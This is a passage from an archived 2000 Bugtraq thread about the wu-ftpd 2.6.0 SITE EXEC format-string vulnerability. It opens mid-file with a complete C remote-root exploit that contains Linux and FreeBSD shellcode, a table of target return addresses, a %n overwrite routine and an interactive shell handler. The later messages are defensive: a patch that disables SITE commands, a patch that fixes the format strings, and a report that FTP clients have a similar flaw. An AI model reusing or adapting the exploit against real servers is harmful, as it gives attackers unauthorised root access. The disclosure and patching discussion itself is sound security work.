DEBUG #define repl replv #else #define repl repln #endif char usage[] = "usage: bobek [-l login] [-o port] [-t type] hostname"; char recvbuf[BUFSIZ], sendbuf[BUFSIZ]; FILE *cin, *cout; char linuxcode[]= /* Lam3rZ chroot() code */ "\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0\x31\xdb" "\x43\x89\xd9\x41\xb0\x3f\xcd\x80\xeb\x6b\x5e\x31\xc0\x31" "\xc9\x8d\x5e\x01\x88\x46\x04\x66\xb9\xff\xff\x01\xb0\x27" "\xcd\x80\x31\xc0\x8d\x5e\x01\xb0\x3d\xcd\x80\x31\xc0\x31" "\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9\x31\xc0\x8d" "\x5e\x08\xb0\x0c\xcd\x80\xfe\xc9\x75\xf3\x31\xc0\x88\x46" "\x09\x8d\x5e\x08\xb0\x3d\xcd\x80\xfe\x0e\xb0\x30\xfe\xc8" "\x88\x46\x04\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c" "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80\x31\xc0" "\x31\xdb\xb0\x01\xcd\x80\xe8\x90\xff\xff\xff\xff\xff\xff" "\x30\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31"; char bsdcode[] = /* Lam3rZ chroot() code rewritten for FreeBSD by venglin */ "\x31\xc0\x50\x50\x50\xb0\x7e\xcd\x80\x31\xdb\x31\xc0\x43" "\x43\x53\x4b\x53\x53\xb0\x5a\xcd\x80\xeb\x77\x5e\x31\xc0" "\x8d\x5e\x01\x88\x46\x04\x66\x68\xff\xff\x01\x53\x53\xb0" "\x88\xcd\x80\x31\xc0\x8d\x5e\x01\x53\x53\xb0\x3d\xcd\x80" "\x31\xc0\x31\xdb\x8d\x5e\x08\x89\x43\x02\x31\xc9\xfe\xc9" "\x31\xc0\x8d\x5e\x08\x53\x53\xb0\x0c\xcd\x80\xfe\xc9\x75" "\xf1\x31\xc0\x88\x46\x09\x8d\x5e\x08\x53\x53\xb0\x3d\xcd" "\x80\xfe\x0e\xb0\x30\xfe\xc8\x88\x46\x04\x31\xc0\x88\x46" "\x07\x89\x76\x08\x89\x46\x0c\x89\xf3\x8d\x4e\x08\x8d\x56" "\x0c\x52\x51\x53\x53\xb0\x3b\xcd\x80\x31\xc0\x31\xdb\x53" "\x53\xb0\x01\xcd\x80\xe8\x84\xff\xff\xff\xff\xff\xff\x30" "\x62\x69\x6e\x30\x73\x68\x31\x2e\x2e\x31\x31\x76\x65\x6e" "\x67\x6c\x69\x6e"; struct platforms { char *os; char *version; char *code; int align; int eipoff; long ret; long retloc; int sleep; }; struct platforms targ[] = { { "FreeBSD 3.4-STABLE", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1f10, 0xbfbfcc04, 0 }, { "FreeBSD 5.0-CURRENT", "2.6.0-ports", bsdcode, 2, 1024, 0x80b1510, 0xbfbfec0c, 0 }, { "FreeBSD 3.4-STABLE", "2.6.0-venglin", bsdcode, 2, 1024, 0x807078c, 0xbfbfcc04, 0 }, { "RedHat Linux 6.2", "2.6.0-RPM", linuxcode, 2, 1024, 0xbfbf, 0xbfffcf74, 10 }, { NULL, NULL, NULL, 0, NULL, NULL, 0 } }; long getip(name) char *name; { struct hostent *hp; long ip; extern int h_errno; if ((ip = inet_addr(name)) < 0) { if (!(hp = gethostbyname(name))) { fprintf(stderr, "gethostbyname(): %s\n", strerror(h_errno)); exit(1); } memcpy(&ip, (hp->h_addr), 4); } return ip; } int connecttoftp(host, port) char *host; int port; { int sockfd; struct sockaddr_in cli; bzero(&cli, sizeof(cli)); cli.sin_family = AF_INET; cli.sin_addr.s_addr=getip(host); cli.sin_port = htons(port); if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) { perror("socket"); return -1; } if(connect(sockfd, (struct sockaddr *)&cli, sizeof(cli)) < 0) { perror("connect"); close(sockfd); return -1; } cin = fdopen(sockfd, "r"); cout = fdopen(sockfd, "w"); if (!cin || !cout) { close(sockfd); return -1; } return sockfd; } int command(const char *fmt, ...) { va_list args; if (!cout) return -1; va_start(args, fmt); vfprintf(cout, fmt, args); #ifdef DEBUG fprintf(stderr, "--> "); vfprintf(stderr, fmt, args); fputc('\n', stderr); #endif va_end(args); fputs("\r\n", cout); (void)fflush(cout); return 0; } int getreply(v) int v; { if (!(fgets(recvbuf, BUFSIZ, cin))) return -1; if (v) fprintf(stderr, "<-- %s", recvbuf); return 0; } int logintoftp(login, passwd) char *login, *passwd; { repl; if (strncmp(recvbuf, "220", 3)) return -1; if ((command("USER %s", login)) < 0) return -1; repl; if (strncmp(recvbuf, "331", 3)) { puts(recvbuf); return -1; } if ((command("PASS %s", passwd) < 0)) return -1; repl; if (strncmp(recvbuf, "230", 3)) { puts(recvbuf); return -1; } return 0; } int checkvuln(void) { command("SITE EXEC %%p"); repl; if(strncmp(recvbuf, "200-", 4)) return -1; if(strncmp(recvbuf+4, "0x", 2)) return -1; repl; return 0; } int findeip(eipoff, align) int eipoff, align; { int i, j, off; char *p1; char eip1[10], eip2[10]; for (i=eipoff;;i+=8) { fprintf(stderr, "at offset %d\n", i); strcpy(sendbuf, "SITE EXEC "); for (j=0;j<align;j++) strcat(sendbuf, "a"); strcat(sendbuf, "abcd"); for (j=0;j<eipoff/8;j++) strcat(sendbuf, "%%.f"); for (j=0;j<(i-eipoff)/8;j++) strcat(sendbuf, "%%d"); strcat(sendbuf, "|%%.8x|%%.8x"); if (command(sendbuf) < 0) return -1; repl; if (!(p1 = strchr(recvbuf, '|'))) return -1; strncpy(eip1, p1+1, 8); strncpy(eip2, p1+10, 8); eip1[8] = eip2[8] = '\0'; if (!(strcmp(eip1, "64636261"))) { off = i; break; } if (!(strcmp(eip2, "64636261"))) { off = i + 4; break; } repl; } repl; return off; } char *putshell(type) int type; { static char buf[400]; int noplen; char *code = targ[type].code; noplen = sizeof(buf) - strlen(code) - 2; memset(buf, 0x90, noplen); buf[noplen+1] = '\0'; strcat(buf, code); return buf; } int overwrite(ptr, off, align, retloc, eipoff) long ptr, retloc; int off, align, eipoff; { int i, size = 0; char buf[100]; fprintf(stderr, "RET: %p, RET location: %p," " RET location offset on stack: %d\n", (void *)ptr, (void *)retloc, off); if (off >= 12) { strcpy(sendbuf, "SITE EXEC "); for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f"); for (i=0;i<(off-eipoff-4)/8;i++) strcat(sendbuf, "%%d"); if (((off-eipoff-4) % 8) != 0) strcat(sendbuf, "%%d"); if (command(sendbuf) < 0) return -1; repl; size = strlen(recvbuf+4) - 2; repl; } fprintf(stderr, "Reply size: %d, New RET: %p\n", size, (void *)(ptr-size)); strcpy(sendbuf, "SITE EXEC "); for (i=0;i<align;i++) strcat(sendbuf, "a"); sprintf(buf, "%c%c%c%c", ((int)retloc & 0xff), (((int)retloc & 0xff00) >> 8), (((int)retloc & 0xff0000) >> 16), (((int)retloc & 0xff000000) >> 24)); strcat(sendbuf, buf); for (i=0;i<eipoff/8;i++) strcat(sendbuf, "%%.f"); for (i=0;i<(off-eipoff-4)/8;i++) strcat(sendbuf, "%%d"); if (((off-eipoff-4) % 8) != 0) strcat(sendbuf, "%%d"); strcat(sendbuf, "%%."); sprintf(buf, "%d", (int)ptr-size); strcat(sendbuf, buf); strcat(sendbuf, "d%%n"); if (command(sendbuf) < 0) return -1; return 0; } int sh(sockfd) int sockfd; { char buf[BUFSIZ]; int c; fd_set rf, drugi; char cmd[] = "uname -a ; pwd ; id\n"; FD_ZERO(&rf); FD_SET(0, &rf); FD_SET(sockfd, &rf); write(sockfd, cmd, strlen(cmd)); while (1) { bzero(buf, BUFSIZ); memcpy (&drugi, &rf, sizeof(rf)); select(sockfd+1, &drugi, NULL, NULL, NULL); if (FD_ISSET(0, &drugi)) { c = read(0, buf, BUFSIZ); send(sockfd, buf, c, 0x4); } if (FD_ISSET(sockfd, &drugi)) { c = read(sockfd, buf, BUFSIZ); if (c<0) return 0; write(1,buf,c); } } } int main(argc, argv) int argc; char **argv; { extern int optind, opterr; extern char *optarg; int ch, type, port, eipoff, fd, retoff, align; long ret, retloc; char login[BUFSIZ], password[BUFSIZ]; opterr = type = 0; strcpy(login, "ftp"); port = 21; while ((ch = getopt(argc, argv, "l:d:t:o")) != -1) switch((char)ch) { case 'l': strcpy(login, optarg); break; case 't': type = atoi(optarg); break; case 'o': port = atoi(optarg); break; case '?': default: puts(usage); exit(0); } argc -= optind; argv += optind; fprintf(stderr, "Selected platform: %s with WUFTPD %s\n\n", targ[type].os, targ[type].version); eipoff = targ[type].eipoff; align = targ[type].align; ret = targ[type].ret; retloc = targ[type].retloc; if (argc != 1) { puts(usage); exit(0); } strcpy(password, putshell(type)); if ((fd = connecttoftp(*argv, port)) < 0) { (void)fprintf(stderr, "Connection to %s failed.\n", *argv); exit(1); } (void)fprintf(stderr, "Connected to %s. Trying to log in.\n", *argv); if (logintoftp(login, password) < 0) { (void)fprintf(stderr, "Logging in to %s (%s) failed.\n", *argv, login); exit(1); } (void)fprintf(stderr, "Logged in as %s. Checking vulnerability.\n", login); sleep(targ[type].sleep); if (checkvuln() < 0) { (void)fprintf(stderr, "Sorry, this version isn't" " vulnerable or uses internal vsnprintf().\n"); exit(1); } (void)fprintf(stderr, "Ok, trying to find offset (initial: %d)\n", eipoff); if ((retoff = findeip(eipoff, align)) < 0) { (void)fprintf(stderr, "\nError finding offset. Adjust" " align.\n"); exit(1); } if (overwrite(ret, retoff, align, retloc, eipoff) < 0) { (void)fprintf(stderr, "Error overwriting RET addr.\n"); exit(1); } fprintf(stderr, "Wait 10-20 seconds for reply. Enjoy your shell.\n"); sh(fd); exit(0); } -- * Fido: 2:480/124 ** WWW: http://www.freebsd.lublin.pl ** NIC-HDL: PMF9-RIPE * * Inet: venglin@freebsd.lublin.pl ** PGP: D48684904685DF43 EA93AFA13BE170BF * (5224157) ------------------------------------------(Ombruten) 5224214 2000-06-23 23:38 /139 rader/ Postmaster Mottagare: Bugtraq (import) <11403> Ärende: Re: WuFTPD: Providing *remote* root since at least1994 ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="yudcn1FV7Hsu/q59" Content-Disposition: inline User-Agent: Mutt/1.2i Message-ID: <20000623181954.W5311@ringwraith.oblivion.bg> Date: Fri, 23 Jun 2000 18:19:54 +0300 Reply-To: Peter Pentchev <roam@ORBITEL.BG> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Peter Pentchev <roam@ORBITEL.BG> X-cc: freebsd-security@freebsd.org To: BUGTRAQ@SECURITYFOCUS.COM --yudcn1FV7Hsu/q59 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline For a quick-and-dirty solution, apply the attached patch to the source of wu-ftpd-2.6.0 release. It adds to the configure script a --enable-nositecmd option, which disables all SITE * commands without the adverse efffects of --enable-paranoid. G'luck, Peter Pentchev ---------------------------------------------- Hi! I'm an e-mail attachment virus! Copy me into your signature to help me spread! --yudcn1FV7Hsu/q59 Content-Type: application/x-gunzip Content-Disposition: attachment; filename="wu-ftpd-2.6.0+nositecmd.patch.gz" diff -urN wu-ftpd-2.6.0/config.h.in wu-ftpd-2.6.0+nositecmd/config.h.in --- wu-ftpd-2.6.0/config.h.in Sat Sep 18 17:26:10 1999 +++ wu-ftpd-2.6.0+nositecmd/config.h.in Fri Jun 23 18:10:44 2000 @@ -94,6 +94,13 @@ #undef PARANOID /* + * NOSITECMD + * Disable SITE command family only + */ + +#undef NOSITECMD + +/* * SKEY * Add SKEY support -- REQUIRES SKEY libraries * See FIXES-2.4-HOBBIT for more information on this option. diff -urN wu-ftpd-2.6.0/configure wu-ftpd-2.6.0+nositecmd/configure --- wu-ftpd-2.6.0/configure Sun Oct 3 15:52:12 1999 +++ wu-ftpd-2.6.0+nositecmd/configure Fri Jun 23 18:10:44 2000 @@ -63,6 +63,8 @@ ac_help="$ac_help --enable-paranoid disable some "questionable" features" ac_help="$ac_help + --enable-nositecmd disable SITE family commands" +ac_help="$ac_help --enable-quota add QUOTA support (if your OS supports it)" ac_help="$ac_help --enable-pam add PAM support (needs PAM library)" @@ -1506,6 +1508,14 @@ fi +# Check whether --enable-nositecmd or --disable-nositecmd was given. +if test "${enable_nositecmd+set}" = set; then + enableval="$enable_nositecmd" + nositecmd=$enableval +else + nositecmd=no +fi + # Check whether --enable-quota or --disable-quota was given. if test "${enable_quota+set}" = set; then enableval="$enable_quota" @@ -3622,6 +3632,12 @@ if test $paranoid = yes; then cat >> confdefs.h <<\EOF #define PARANOID 1 +EOF + +fi +if test $nositecmd = yes; then + cat >> confdefs.h <<\EOF +#define NOSITECMD 1 EOF fi diff -urN wu-ftpd-2.6.0/configure.in wu-ftpd-2.6.0+nositecmd/configure.in --- wu-ftpd-2.6.0/configure.in Sun Oct 3 15:52:12 1999 +++ wu-ftpd-2.6.0+nositecmd/configure.in Fri Jun 23 18:11:34 2000 @@ -120,6 +120,10 @@ [ --enable-paranoid disable some "questionable" features], [ paranoid=$enableval ], [ paranoid=no ]) +AC_ARG_ENABLE(nositecmd, + [ --enable-nositecmd disable SITE family commands], + [ nositecmd=$enableval ], [ nositecmd=no ]) + AC_ARG_ENABLE(quota, [ --enable-quota add QUOTA support (if your OS supports it)], [ quota=$enableval ], [ quota=no ]) @@ -731,6 +735,9 @@ fi if test $paranoid = yes; then AC_DEFINE(PARANOID) +fi +if test $nositecmd = yes; then + AC_DEFINE(NOSITECMD) fi if test $quota != no; then AC_CHECK_HEADERS(sys/quota.h sys/fs/ufs_quota.h ufs/quota.h jfs/quota.h ufs/ufs/quota.h linux/quota.h) diff -urN wu-ftpd-2.6.0/src/ftpcmd.y wu-ftpd-2.6.0+nositecmd/src/ftpcmd.y --- wu-ftpd-2.6.0/src/ftpcmd.y Wed Oct 13 18:15:28 1999 +++ wu-ftpd-2.6.0+nositecmd/src/ftpcmd.y Fri Jun 23 18:12:10 2000 @@ -1518,7 +1518,8 @@ p = lookup(sitetab, cp); cbuf[cpos] = c; if (p != 0) { -#ifndef PARANOID /* what GOOD is SITE *, anyways?! _H */ +#if !(defined(PARANOID) || defined(NOSITECMD)) + /* what GOOD is SITE *, anyways?! _H */ if (p->implemented == 0) { #else if (1) { @@ -1864,7 +1865,7 @@ void site_exec(char *cmd) { -#ifdef PARANOID +#if defined(PARANOID) || defined(NOSITECMD) syslog(LOG_CRIT, "REFUSED SITE_EXEC (slipped through!!): %s", cmd); #else char buf[MAXPATHLEN]; --yudcn1FV7Hsu/q59-- (5224214) ------------------------------------------(Ombruten) 5224299 2000-06-24 00:30 /169 rader/ Postmaster Mottagare: Bugtraq (import) <11410> Ärende: Re: WuFTPD: Providing *remote* root since at least1994 ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Mail-Followup-To: Daniel Jacobowitz <drow@false.org> Bernhard Rosenkraenzer <bero@redhat.de> Elias Levy <aleph1@securityfocus.com> wuftpd-members@wu-ftpd.org, bugtraq@securityfocus.com vendor-sec@lst.de Mime-Version: 1.0 Content-Type: multipart/signed; micalg=pgp-sha1 protocol="application/pgp-signature"; boundary="6sX45UoQRIJXqkqR" Content-Disposition: inline User-Agent: Mutt/1.1.9i Message-ID: <20000622232836.A9789@drow.them.org> Date: Thu, 22 Jun 2000 23:28:36 -0700 Reply-To: Daniel Jacobowitz <drow@FALSE.ORG> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Daniel Jacobowitz <drow@FALSE.ORG> X-To: Bernhard Rosenkraenzer <bero@redhat.de> X-cc: Elias Levy <aleph1@securityfocus.com> wuftpd-members@wu-ftpd.org, vendor-sec@lst.de To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <Pine.LNX.4.21.0006230217250.25605-200000@bochum.redhat.de>; fro bero@redhat.de on Fri, Jun 23, 2000 at 02:20:11AM +0200 --6sX45UoQRIJXqkqR Content-Type: multipart/mixed; boundary="lrZ03NoBR/3+SXJZ" Content-Disposition: inline --lrZ03NoBR/3+SXJZ Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Content-Transfer-Encoding: quoted-printable [ Maybe I'm just out of the loop, but... does no one NOTIFY VENDORS any more? ] On Fri, Jun 23, 2000 at 02:20:11AM +0200, Bernhard Rosenkraenzer wrote: > On Thu, 22 Jun 2000, Elias Levy wrote: >=20 > > /* - wuftpd2600.c > > * VERY PRIVATE VERSION. DO NOT DISTRIBUTE. 15-10-1999 >=20 > This should fix it... Since the exploit never worked for me in the first > time and I haven't taken the time to fix it yet (fixing the bug is more > important than fixing the exploit, I guess ;) ), it's unverified though. >=20 > LLaP > bero Actually, here's a more useful patch. Sorry, thanks for playing. These don't apply to the problem. Content-Description: fix > --- wu-ftpd-2.6.0/src/ftpcmd.y.security Fri Jun 23 01:49:45 2000 > +++ wu-ftpd-2.6.0/src/ftpcmd.y Fri Jun 23 01:52:37 2000 > @@ -776,7 +776,7 @@ > if (!restricted_user && $2 !=3D 0 && $6 !=3D NULL) { > char buf[MAXPATHLEN]; > if (strlen($6) + 7 <=3D sizeof(buf)) { > - sprintf(buf, "index %s", (char *) $6); > + snprintf(buf, MAXPATHLEN, "index %s", (char *) $6); And it is not needed, since there is a 512 char limit on network input and MAXPATHLEN is generally about 2K Not to mention that could still be overflowable. snprintf() doesn't null terminate. > @@ -1871,6 +1871,10 @@ > char *sp =3D (char *) strchr(cmd, ' '), *slash, *t; > FILE *cmdf; > =20 > + if(strlen(cmd)+strlen(_PATH_EXECPATH)+1 > MAXPATHLEN) { > + syslog(LOG_CRIT, "User probably tried SITE EXEC root exploit, re= fusing!"); > + return; > + } And that's useless, since it's checked not far below (about 20 lines, I think). > =20 > @@ -1893,7 +1897,7 @@ > /* build the command */ > if (strlen(_PATH_EXECPATH) + strlen(cmd) + 2 > sizeof(buf)) > return; > - sprintf(buf, "%s/%s", _PATH_EXECPATH, cmd); > + snprintf(buf, MAXPATHLEN, "%s/%s", _PATH_EXECPATH, cmd); > =20 > cmdf =3D ftpd_popen(buf, "r", 0); > if (!cmdf) { See first comment. Dan /--------------------------------\ /--------------------------------\ | Daniel Jacobowitz |__| SCS Class of 2002 | | Debian GNU/Linux Developer __ Carnegie Mellon University | | dan@debian.org | | dmj+@andrew.cmu.edu | \--------------------------------/ \--------------------------------/ --lrZ03NoBR/3+SXJZ Content-Type: text/plain; charset=us-ascii Content-Disposition: attachment; filename="wuftpd.diff" Content-Transfer-Encoding: quoted-printable diff -ur wu-ftpd-orig/src/ftpcmd.y wu-ftpd-2.6.0/src/ftpcmd.y --- wu-ftpd-orig/src/ftpcmd.y Wed Oct 13 08:15:28 1999 +++ wu-ftpd-2.6.0/src/ftpcmd.y Thu Jun 22 22:44:41 2000 @@ -1926,13 +1926,13 @@ } if (!maxfound) maxlines =3D defmaxlines; - lreply(200, cmd); + lreply(200, "%s", cmd); while (fgets(buf, sizeof buf, cmdf)) { size_t len =3D strlen(buf); =20 if (len > 0 && buf[len - 1] =3D=3D '\n') buf[--len] =3D '\0'; - lreply(200, buf); + lreply(200, "%s", buf); if (maxlines <=3D 0) ++lines; else if (++lines >=3D maxlines) { diff -ur wu-ftpd-orig/src/ftpd.c wu-ftpd-2.6.0/src/ftpd.c --- wu-ftpd-orig/src/ftpd.c Thu Jun 22 22:23:40 2000 +++ wu-ftpd-2.6.0/src/ftpd.c Thu Jun 22 22:45:23 2000 @@ -3157,7 +3157,7 @@ reply(230, "User %s logged in.%s", pw->pw_name, guest ? " Access restrictions apply." : ""); sprintf(proctitle, "%s: %s", remotehost, pw->pw_name); - setproctitle(proctitle); + setproctitle("%s", proctitle); if (logging) syslog(LOG_INFO, "FTP LOGIN FROM %s, %s", remoteident, pw->pw_name); /* H* mod: if non-anonymous user, copy it to "authuser" so everyone can @@ -5912,7 +5912,7 @@ =20 remotehost[sizeof(remotehost) - 1] =3D '\0'; sprintf(proctitle, "%s: connected", remotehost); - setproctitle(proctitle); + setproctitle("%s", proctitle); =20 wu_authenticate(); /* Create a composite source identification string, to improve the logging --lrZ03NoBR/3+SXJZ-- --6sX45UoQRIJXqkqR Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.1 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE5UwOUbgOPXuCjg3cRAmPgAJ0a07F6MYFJrAO4hLE+40t+XL7NdACdFRtR wmEsskb9t0vYGxTJYUswwXs= =QUoN -----END PGP SIGNATURE----- --6sX45UoQRIJXqkqR-- (5224299) ------------------------------------------(Ombruten) 5224312 2000-06-24 00:40 /78 rader/ Postmaster Mottagare: Bugtraq (import) <11411> Ärende: Re: WuFTPD: Providing *remote* root since at least1994 ------------------------------------------------------------ Approved-By: aleph1@SECURITYFOCUS.COM Delivered-To: bugtraq@lists.securityfocus.com Delivered-To: bugtraq@securityfocus.com Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Message-ID: <20000623153359.A3289@ns.lst.de> Date: Fri, 23 Jun 2000 15:33:59 +0200 Reply-To: Marcus Meissner <Marcus.Meissner@CALDERA.DE> Sender: Bugtraq List <BUGTRAQ@SECURITYFOCUS.COM> From: Marcus Meissner <Marcus.Meissner@CALDERA.DE> X-To: Daniel Jacobowitz <drow@false.org> Bernhard Rosenkraenzer <bero@redhat.de> Elias Levy <aleph1@securityfocus.com> wuftpd-members@wu-ftpd.org, vendor-sec@lst.de To: BUGTRAQ@SECURITYFOCUS.COM In-Reply-To: <20000622232836.A9789@drow.them.org>; from drow@false.org on Thu Jun 22, 2000 at 11:28:36PM -0700 On Thu, Jun 22, 2000 at 11:28:36PM -0700, Daniel Jacobowitz wrote: > [ Maybe I'm just out of the loop, but... does no one NOTIFY VENDORS any > more? ] Seems so. > See first comment. > > Dan > > diff -ur wu-ftpd-orig/src/ftpcmd.y wu-ftpd-2.6.0/src/ftpcmd.y > --- wu-ftpd-orig/src/ftpcmd.y Wed Oct 13 08:15:28 1999 > +++ wu-ftpd-2.6.0/src/ftpcmd.y Thu Jun 22 22:44:41 2000 Thank you for the patch. On a side note. While testing the exploit and patch, another not so serious problem showed: $ rpm -q `which ftp` netkit-ftp-0.16-1 $ ftp ftp Connected to <removed>. 220 <removed> FTP server (Version wu-2.5.0(1) Fri Jun 23 14:28:51 CEST 2000) ready. Name (ftp:mm): ftp 331 Guest login ok, send your complete e-mail address as password. Password: 230 Guest login ok, access restrictions apply. Remote system type is UNIX. Using binary mode to transfer files. ftp> ftp> site exec hello%s 200-hello: T 200 (end of 'hello: ') $ rpm -q ncftp ncftp-3.0beta21-1 $ ncftp ftp ... ncftp / > site exec hello%s hello÷`êÀ± (end of 'hello÷`êÀ') ncftp / > The ftp client seems to happily interpret the %s characters passed back from the command. I am not sure how difficult it is to develop a reverse exploit for this one, but it neithertheless appears to be exploitable. Ciao, Marcus -- _____ ___ / __/____/ / Caldera (Deutschland) GmbH / /_/ __ / /__ Naegelsbachstr. 49c, 91052 Erlangen /_____//_/ /____/ Dipl. Inf. Marcus Meissner, email: mm@caldera.de ==== /_____/ ====== phone: ++49 9131 7912-300, fax: ++49 9131 7192-399 Caldera OpenLinux (5224312) ------------------------------------------(Ombruten)